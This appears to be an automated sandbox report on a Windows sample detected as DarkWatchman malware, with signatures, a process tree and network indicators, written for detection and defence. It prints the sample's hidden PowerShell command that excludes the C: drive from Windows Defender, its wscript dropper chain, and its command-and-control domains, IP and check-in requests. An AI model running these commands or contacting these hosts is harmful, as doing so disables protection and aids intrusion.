Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
YyVnwn8Zst.exe

Overview

General Information

Sample name:YyVnwn8Zst.exe
renamed because original name is a hash value
Original sample name:880a3b6203fef131d20346d1258ae22031c3d84d8a35d01c8f4b7fe3729c0d0c.exe
Analysis ID:1585978
MD5:6cbe4dde104084454980ae3405a0339c
SHA1:bf2cc3af5ce453f099d8321c5798ad0de7e9ef67
SHA256:880a3b6203fef131d20346d1258ae22031c3d84d8a35d01c8f4b7fe3729c0d0c
Tags:exeuser-adrian__luca
Infos:

Detection

DarkWatchman
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Icon mismatch, binary includes an icon from a different legit application in order to fool users
Malicious sample detected (through community Yara rule)
Suricata IDS alerts for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected DarkWatchman
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Creates processes via WMI
Deletes shadow drive data (may be related to ransomware)
Loading BitLocker PowerShell Module
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: Script Initiated Connection to Non-Local Network
Sigma detected: Suspicious PowerShell Parameter Substring
Sigma detected: WScript or CScript Dropper
Sigma detected: WScript or CScript Dropper - File
Suspicious execution chain found
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes or reads registry keys via WMI
Wscript starts Powershell (via cmd or directly)
AV process strings found (often used to terminate AV products)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to communicate with device drivers
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected non-DNS traffic on DNS port
Detected potential crypto function
Enables debug privileges
File is packed with WinRar
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found potential string decryption / allocating functions
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE / OLE file has an invalid certificate
PE file contains an invalid checksum
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Powershell Defender Exclusion
Sigma detected: Script Initiated Connection
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Yara signature match

Classification

Process Tree

  • System is w10x64
  • YyVnwn8Zst.exe (PID: 1468 cmdline: "C:\Users\user\Desktop\YyVnwn8Zst.exe" MD5: 6CBE4DDE104084454980AE3405A0339C)
    • cmd.exe (PID: 3872 cmdline: "C:\Windows\System32\cmd.exe" /c (start /MIN powershell.exe -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:") & (start /MIN wscript.exe /E:jscript 4157934657 188 "C:\Users\user\Desktop\YyVnwn8Zst.exe") MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • conhost.exe (PID: 4996 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 5740 cmdline: powershell.exe -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
        • conhost.exe (PID: 4928 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • wscript.exe (PID: 4256 cmdline: wscript.exe /E:jscript 4157934657 188 "C:\Users\user\Desktop\YyVnwn8Zst.exe" MD5: FF00E0480075B095948000BDC66E81F0)
        • powershell.exe (PID: 4088 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
          • conhost.exe (PID: 3052 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • wscript.exe (PID: 5196 cmdline: C:\Windows\SysWOW64\wscript.exe "C:\Users\user\AppData\Local\9e146be90.js" 188 MD5: FF00E0480075B095948000BDC66E81F0)
  • wscript.exe (PID: 4836 cmdline: C:\Windows\SysWOW64\wscript.exe "C:\Users\user\AppData\Local\9e146be90.js" 188 MD5: FF00E0480075B095948000BDC66E81F0)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
Process Memory Space: wscript.exe PID: 4256JoeSecurity_DarkWatchmanYara detected DarkWatchmanJoe Security
    Process Memory Space: wscript.exe PID: 4256INDICATOR_SUSPICIOUS_JS_WMI_ExecQueryDetects JS potentially executing WMI queriesditekSHen
    • 0x748d4:$ex: .ExecQuery(
    • 0x74be3:$ex: .ExecQuery(
    • 0x74e2f:$ex: .ExecQuery(
    • 0x7933f:$ex: .ExecQuery(
    • 0x794cc:$ex: .ExecQuery(
    • 0x7f3db:$ex: .ExecQuery(
    • 0x7f6ea:$ex: .ExecQuery(
    • 0x7f936:$ex: .ExecQuery(
    • 0x83e46:$ex: .ExecQuery(
    • 0x83fd3:$ex: .ExecQuery(
    • 0xc41bb:$ex: .ExecQuery(
    • 0xc44ca:$ex: .ExecQuery(
    • 0xc4716:$ex: .ExecQuery(
    • 0xc8c26:$ex: .ExecQuery(
    • 0xc8db3:$ex: .ExecQuery(
    • 0x1cfbdf:$ex: .ExecQuery(
    • 0x1cfeee:$ex: .ExecQuery(
    • 0x1d013a:$ex: .ExecQuery(
    • 0x1d464a:$ex: .ExecQuery(
    • 0x1d47d7:$ex: .ExecQuery(
    • 0x2138a5:$ex: .ExecQuery(
    Process Memory Space: wscript.exe PID: 5196JoeSecurity_DarkWatchmanYara detected DarkWatchmanJoe Security
      Process Memory Space: wscript.exe PID: 5196INDICATOR_SUSPICIOUS_JS_WMI_ExecQueryDetects JS potentially executing WMI queriesditekSHen
      • 0x2d9a:$ex: .ExecQuery(
      • 0x2dcf:$ex: .ExecQuery(
      • 0x2e03:$ex: .ExecQuery(
      • 0x92b0:$ex: .ExecQuery(
      • 0x95bf:$ex: .ExecQuery(
      • 0x980b:$ex: .ExecQuery(
      • 0xdd1b:$ex: .ExecQuery(
      • 0xdea8:$ex: .ExecQuery(
      • 0x1274b:$ex: .ExecQuery(
      • 0x12a5a:$ex: .ExecQuery(
      • 0x12ca6:$ex: .ExecQuery(
      • 0x171b6:$ex: .ExecQuery(
      • 0x17343:$ex: .ExecQuery(
      • 0x81bb7:$ex: .ExecQuery(
      • 0x81ec6:$ex: .ExecQuery(
      • 0x82112:$ex: .ExecQuery(
      • 0x86622:$ex: .ExecQuery(
      • 0x867af:$ex: .ExecQuery(
      • 0x8d303:$ex: .ExecQuery(
      • 0x8d5d2:$ex: .ExecQuery(
      • 0x8d642:$ex: .ExecQuery(
      Process Memory Space: wscript.exe PID: 4836JoeSecurity_DarkWatchmanYara detected DarkWatchmanJoe Security
        Click to see the 1 entries

        Other

        SourceRuleDescriptionAuthorStrings
        amsi32_4256.amsi.csvINDICATOR_SUSPICIOUS_JS_WMI_ExecQueryDetects JS potentially executing WMI queriesditekSHen
        • 0x176d:$ex: .ExecQuery(
        • 0x1a8d:$ex: .ExecQuery(
        • 0x1ceb:$ex: .ExecQuery(
        • 0x647b:$ex: .ExecQuery(
        • 0x6615:$ex: .ExecQuery(
        • 0x243b:$s1: GetObject(
        • 0x65c8:$s1: GetObject(
        • 0xf517:$s1: GetObject(
        • 0xf55b:$s1: GetObject(
        • 0xf57e:$s1: GetObject(
        • 0x897:$s2: String.fromCharCode(
        • 0x10bf:$s3: ActiveXObject(
        • 0x19c5:$s3: ActiveXObject(
        • 0x2328:$s3: ActiveXObject(
        • 0x235d:$s3: ActiveXObject(
        • 0x2388:$s3: ActiveXObject(
        • 0x2407:$s3: ActiveXObject(
        • 0x2f80:$s3: ActiveXObject(
        • 0x3090:$s3: ActiveXObject(
        • 0x329b:$s3: ActiveXObject(
        • 0x3492:$s3: ActiveXObject(
        amsi32_5196.amsi.csvINDICATOR_SUSPICIOUS_JS_WMI_ExecQueryDetects JS potentially executing WMI queriesditekSHen
        • 0x176d:$ex: .ExecQuery(
        • 0x1a8d:$ex: .ExecQuery(
        • 0x1ceb:$ex: .ExecQuery(
        • 0x647b:$ex: .ExecQuery(
        • 0x6615:$ex: .ExecQuery(
        • 0xb389:$ex: .ExecQuery(
        • 0xb727:$ex: .ExecQuery(
        • 0xbac4:$ex: .ExecQuery(
        • 0xc307:$ex: .ExecQuery(
        • 0xc6a5:$ex: .ExecQuery(
        • 0xca42:$ex: .ExecQuery(
        • 0xd25a:$ex: .ExecQuery(
        • 0xd5f8:$ex: .ExecQuery(
        • 0xd995:$ex: .ExecQuery(
        • 0xe175:$ex: .ExecQuery(
        • 0xe513:$ex: .ExecQuery(
        • 0xe8b0:$ex: .ExecQuery(
        • 0xee28:$ex: .ExecQuery(
        • 0xf1c5:$ex: .ExecQuery(
        • 0xf627:$ex: .ExecQuery(
        • 0xf6f0:$ex: .ExecQuery(
        amsi32_4836.amsi.csvINDICATOR_SUSPICIOUS_JS_WMI_ExecQueryDetects JS potentially executing WMI queriesditekSHen
        • 0x176d:$ex: .ExecQuery(
        • 0x1a8d:$ex: .ExecQuery(
        • 0x1ceb:$ex: .ExecQuery(
        • 0x647b:$ex: .ExecQuery(
        • 0x6615:$ex: .ExecQuery(
        • 0xb389:$ex: .ExecQuery(
        • 0xb727:$ex: .ExecQuery(
        • 0xbac4:$ex: .ExecQuery(
        • 0xc307:$ex: .ExecQuery(
        • 0xc6a5:$ex: .ExecQuery(
        • 0xca42:$ex: .ExecQuery(
        • 0xd25a:$ex: .ExecQuery(
        • 0xd5f8:$ex: .ExecQuery(
        • 0xd995:$ex: .ExecQuery(
        • 0xe175:$ex: .ExecQuery(
        • 0xe513:$ex: .ExecQuery(
        • 0xe8b0:$ex: .ExecQuery(
        • 0xee28:$ex: .ExecQuery(
        • 0xf1c5:$ex: .ExecQuery(
        • 0xf627:$ex: .ExecQuery(
        • 0xf6f0:$ex: .ExecQuery(

        Sigma Signatures

        System Summary

        barindex
        Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
        Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c (start /MIN powershell.exe -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:") & (start /MIN wscript.exe /E:jscript 4157934657 188 "C:\Users\user\Desktop\YyVnwn8Zst.exe"), CommandLine: "C:\Windows\System32\cmd.exe" /c (start /MIN powershell.exe -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:") & (start /MIN wscript.exe /E:jscript 4157934657 188 "C:\Users\user\Desktop\YyVnwn8Zst.exe"), CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\YyVnwn8Zst.exe", ParentImage: C:\Users\user\Desktop\YyVnwn8Zst.exe, ParentProcessId: 1468, ParentProcessName: YyVnwn8Zst.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c (start /MIN powershell.exe -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:") & (start /MIN wscript.exe /E:jscript 4157934657 188 "C:\Users\user\Desktop\YyVnwn8Zst.exe"), ProcessId: 3872, ProcessName: cmd.exe
        Sigma detected: Script Initiated Connection to Non-Local Network
        Source: Network ConnectionAuthor: frack113, Florian Roth: Data: DestinationIp: 185.159.131.230, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\SysWOW64\wscript.exe, Initiated: true, ProcessId: 5196, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49710
        Sigma detected: Suspicious PowerShell Parameter Substring
        Source: Process startedAuthor: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: powershell.exe -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:", CommandLine: powershell.exe -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:", CommandLine|base64offset|contains: ', Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c (start /MIN powershell.exe -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:") & (start /MIN wscript.exe /E:jscript 4157934657 188 "C:\Users\user\Desktop\YyVnwn8Zst.exe"), ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 3872, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:", ProcessId: 5740, ProcessName: powershell.exe
        Sigma detected: WScript or CScript Dropper
        Source: Process startedAuthor: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\SysWOW64\wscript.exe "C:\Users\user\AppData\Local\9e146be90.js" 188, CommandLine: C:\Windows\SysWOW64\wscript.exe "C:\Users\user\AppData\Local\9e146be90.js" 188, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4836, ProcessCommandLine: C:\Windows\SysWOW64\wscript.exe "C:\Users\user\AppData\Local\9e146be90.js" 188, ProcessId: 5196, ProcessName: wscript.exe
        Sigma detected: WScript or CScript Dropper - File
        Source: File createdAuthor: Tim Shelton: Data: EventID: 11, Image: C:\Windows\SysWOW64\wscript.exe, ProcessId: 4256, TargetFilename: C:\Users\user\AppData\Local\9e146be90.js
        Sigma detected: Change PowerShell Policies to an Insecure Level
        Source: Process startedAuthor: frack113: Data: Command: powershell.exe -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:", CommandLine: powershell.exe -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:", CommandLine|base64offset|contains: ', Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c (start /MIN powershell.exe -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:") & (start /MIN wscript.exe /E:jscript 4157934657 188 "C:\Users\user\Desktop\YyVnwn8Zst.exe"), ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 3872, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:", ProcessId: 5740, ProcessName: powershell.exe
        Sigma detected: Powershell Defender Exclusion
        Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c (start /MIN powershell.exe -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:") & (start /MIN wscript.exe /E:jscript 4157934657 188 "C:\Users\user\Desktop\YyVnwn8Zst.exe"), CommandLine: "C:\Windows\System32\cmd.exe" /c (start /MIN powershell.exe -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:") & (start /MIN wscript.exe /E:jscript 4157934657 188 "C:\Users\user\Desktop\YyVnwn8Zst.exe"), CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\YyVnwn8Zst.exe", ParentImage: C:\Users\user\Desktop\YyVnwn8Zst.exe, ParentProcessId: 1468, ParentProcessName: YyVnwn8Zst.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c (start /MIN powershell.exe -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:") & (start /MIN wscript.exe /E:jscript 4157934657 188 "C:\Users\user\Desktop\YyVnwn8Zst.exe"), ProcessId: 3872, ProcessName: cmd.exe
        Sigma detected: Script Initiated Connection
        Source: Network ConnectionAuthor: frack113: Data: DestinationIp: 185.159.131.230, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\SysWOW64\wscript.exe, Initiated: true, ProcessId: 5196, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49710
        Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
        Source: Process startedAuthor: Michael Haag: Data: Command: C:\Windows\SysWOW64\wscript.exe "C:\Users\user\AppData\Local\9e146be90.js" 188, CommandLine: C:\Windows\SysWOW64\wscript.exe "C:\Users\user\AppData\Local\9e146be90.js" 188, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4836, ProcessCommandLine: C:\Windows\SysWOW64\wscript.exe "C:\Users\user\AppData\Local\9e146be90.js" 188, ProcessId: 5196, ProcessName: wscript.exe
        Sigma detected: Non Interactive PowerShell Process Spawned
        Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:", CommandLine: powershell.exe -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:", CommandLine|base64offset|contains: ', Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c (start /MIN powershell.exe -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:") & (start /MIN wscript.exe /E:jscript 4157934657 188 "C:\Users\user\Desktop\YyVnwn8Zst.exe"), ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 3872, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:", ProcessId: 5740, ProcessName: powershell.exe

        Suricata Signatures

        TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
        2025-01-08T15:47:07.965728+010020485631A Network Trojan was detected192.168.2.649710185.159.131.230443TCP
        2025-01-08T15:47:09.041997+010020485631A Network Trojan was detected192.168.2.649711185.159.131.230443TCP
        TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
        2025-01-08T15:47:07.965728+010020351861A Network Trojan was detected192.168.2.649710185.159.131.230443TCP
        TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
        2025-01-08T15:47:10.832365+010020347451A Network Trojan was detected192.168.2.649713185.159.131.230443TCP
        2025-01-08T15:47:12.163940+010020347451A Network Trojan was detected192.168.2.649714185.159.131.230443TCP

        Joe Sandbox Signatures

        Click to jump to signature section

        Show All Signature Results

        AV Detection

        barindex
        AI detected suspicious sample
        Source: Submited SampleIntegrated Neural Analysis Model: Matched 96.3% probability
        Source: YyVnwn8Zst.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
        Source: unknownHTTPS traffic detected: 185.159.131.230:443 -> 192.168.2.6:49710 version: TLS 1.0
        Source: unknownHTTPS traffic detected: 185.159.131.230:443 -> 192.168.2.6:49711 version: TLS 1.0
        Source: YyVnwn8Zst.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
        Source: Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: YyVnwn8Zst.exe
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BCA383 FindFirstFileW,FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,0_2_00BCA383
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BEA02E FindFirstFileExA,0_2_00BEA02E
        Source: C:\Users\user\Desktop\YyVnwn8Zst.exeCode function: 0_2_00BDB014 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,0_2_00BDB014

        Software Vulnerabilities

        barindex
        Suspicious execution chain found
        Source: C:\Windows\SysWOW64\wscript.exeChild: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

        Networking

        barindex
        Suricata IDS alerts for network traffic
        Source: Network trafficSuricata IDS: 2035186 - Severity 1 - ET MALWARE Win32/DarkWatchman Activity (POST) : 192.168.2.6:49710 -> 185.159.131.230:443
        Source: Network trafficSuricata IDS: 2048563 - Severity 1 - ET MALWARE Win32/DarkWatchMan Checkin Activity (POST) M2 : 192.168.2.6:49710 -> 185.159.131.230:443
        Source: Network trafficSuricata IDS: 2034745 - Severity 1 - ET MALWARE Win32/DarkWatchman Checkin Activity (POST) : 192.168.2.6:49714 -> 185.159.131.230:443
        Source: Network trafficSuricata IDS: 2048563 - Severity 1 - ET MALWARE Win32/DarkWatchMan Checkin Activity (POST) M2 : 192.168.2.6:49711 -> 185.159.131.230:443
        Source: Network trafficSuricata IDS: 2034745 - Severity 1 - ET MALWARE Win32/DarkWatchman Checkin Activity (POST) : 192.168.2.6:49713 -> 185.159.131.230:443
        System process connects to network (likely due to code injection or exploit)
        Source: C:\Windows\SysWOW64\wscript.exeNetwork Connect: 185.159.131.230 443
        Source: global trafficTCP traffic: 192.168.2.6:61178 -> 162.159.36.2:53
        Source: Joe Sandbox ViewASN Name: ITOS-ASRU ITOS-ASRU
        Source: Joe Sandbox ViewJA3 fingerprint: 1138de370e523e824bbca92d049a3777
        Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencoded; Charset=UTF-8Accept: */*User-Agent: Mozilla/5.0(Windows NT 10.0;WOW64;Trident/7.0;rv:11.1)like GeckoX-Client-Id: 9e146be9X-Client-Controller: 0X-Client-Ut: 864178Content-Length: 8Host: bd0baba4.site
        Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencoded; Charset=UTF-8Accept: */*User-Agent: Mozilla/5.0(Windows NT 10.0;WOW64;Trident/7.0;rv:11.1)like GeckoX-Client-Id: 9e146be9X-Client-Controller: 0X-Client-Ut: 864178Content-Length: 8Host: bd0baba4.site
        Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencoded; Charset=UTF-8Accept: */*User-Agent: Mozilla/5.0(Windows NT 10.0;WOW64;Trident/7.0;rv:11.1)like GeckoX-Client-Id: 9e146be9X-Client-Controller: 2X-Client-Ut: 864178Content-Length: 159Host: bd0baba4.site
        Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencoded; Charset=UTF-8Accept: */*User-Agent: Mozilla/5.0(Windows NT 10.0;WOW64;Trident/7.0;rv:11.1)like GeckoX-Client-Id: 9e146be9X-Client-Controller: 2X-Client-Ut: 864178Content-Length: 159Host: bd0baba4.site
        Source: unknownHTTPS traffic detected: 185.159.131.230:443 -> 192.168.2.6:49710 version: TLS 1.0
        Source: unknownHTTPS traffic detected: 185.159.131.230:443 -> 192.168.2.6:49711 version: TLS 1.0
        Source: unknownTCP traffic detected without corresponding DNS query: 162.159.36.2
        Source: unknownTCP traffic detected without corresponding DNS query: 162.159.36.2
        Source: unknownTCP traffic detected without corresponding DNS query: 162.159.36.2
        Source: unknownTCP traffic detected without corresponding DNS query: 162.159.36.2
        Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
        Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
        Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
        Source: global trafficDNS traffic detected: DNS query: bd0baba4.online
        Source: global trafficDNS traffic detected: DNS query: bd0baba4.store
        Source: global trafficDNS traffic detected: DNS query: bd0baba4.site
        Source: unknownHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencoded; Charset=UTF-8Accept: */*User-Agent: Mozilla/5.0(Windows NT 10.0;WOW64;Trident/7.0;rv:11.1)like GeckoX-Client-Id: 9e146be9X-Client-Controller: 0X-Client-Ut: 864178Content-Length: 8Host: bd0baba4.site
        Source: wscript.exe, 0000000B.00000002.3369330783.0000000002BF9000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: https://bd0ba/index.php
        Source: wscript.exe, 0000000A.00000002.3370693123.00000000051DA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000002.3370131318.0000000004CB8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.3370436183.000000000544D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.3370834799.0000000005895000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://bd0baba4.online/index.php
        Source: wscript.exe, 0000000A.00000002.3369313927.00000000006F9000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: https://bd0baba4.site
        Source: wscript.exe, 0000000B.00000002.3369537830.0000000002F93000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://bd0baba4.site/
        Source: wscript.exe, 0000000B.00000002.3371056470.0000000005A9D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://bd0baba4.site/IW
        Source: wscript.exe, 0000000A.00000002.3370809663.0000000005373000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://bd0baba4.site/index.
        Source: wscript.exe, 0000000B.00000002.3370834799.0000000005895000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.3371056470.0000000005A83000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://bd0baba4.site/index.php
        Source: wscript.exe, 0000000A.00000002.3369609341.0000000002A52000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://bd0baba4.site/index.php-N
        Source: wscript.exe, 0000000A.00000002.3370809663.0000000005353000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://bd0baba4.site/index.phpP
        Source: wscript.exe, 0000000A.00000002.3370809663.0000000005373000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://bd0baba4.site/index.php_P
        Source: wscript.exe, 0000000B.00000002.3371056470.0000000005A30000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://bd0baba4.site/index.phpdll
        Source: wscript.exe, 0000000A.00000002.3370809663.0000000005373000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://bd0baba4.site/l
        Source: wscript.exe, 0000000A.00000002.3369609341.0000000002A52000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://bd0baba4.site/w
        Source: wscript.exe, 0000000A.00000002.3369609341.0000000002A52000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.3369537830.0000000002F85000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://bd0baba4.site:443/index.php
        Source: wscript.exe, 0000000A.00000002.3369313927.00000000006F9000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: https://bd0baba4.sitehp
        Source: wscript.exe, 0000000A.00000002.3370809663.0000000005373000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://bd0baba4.store/in
        Source: wscript.exe, 0000000A.00000002.3369947317.0000000004C10000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000002.3370693123.00000000051DA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000002.3370131318.0000000004CB8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.3370436183.000000000544D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.3369537830.0000000002EE8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.3370834799.0000000005895000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://bd0baba4.store/index.php
        Source: wscript.exe, 0000000A.00000002.3370809663.0000000005310000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://bd0baba4.store/index.phpo
        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49711
        Source: unknownNetwork traffic detected: HTTP traffic on port 49710 -> 443
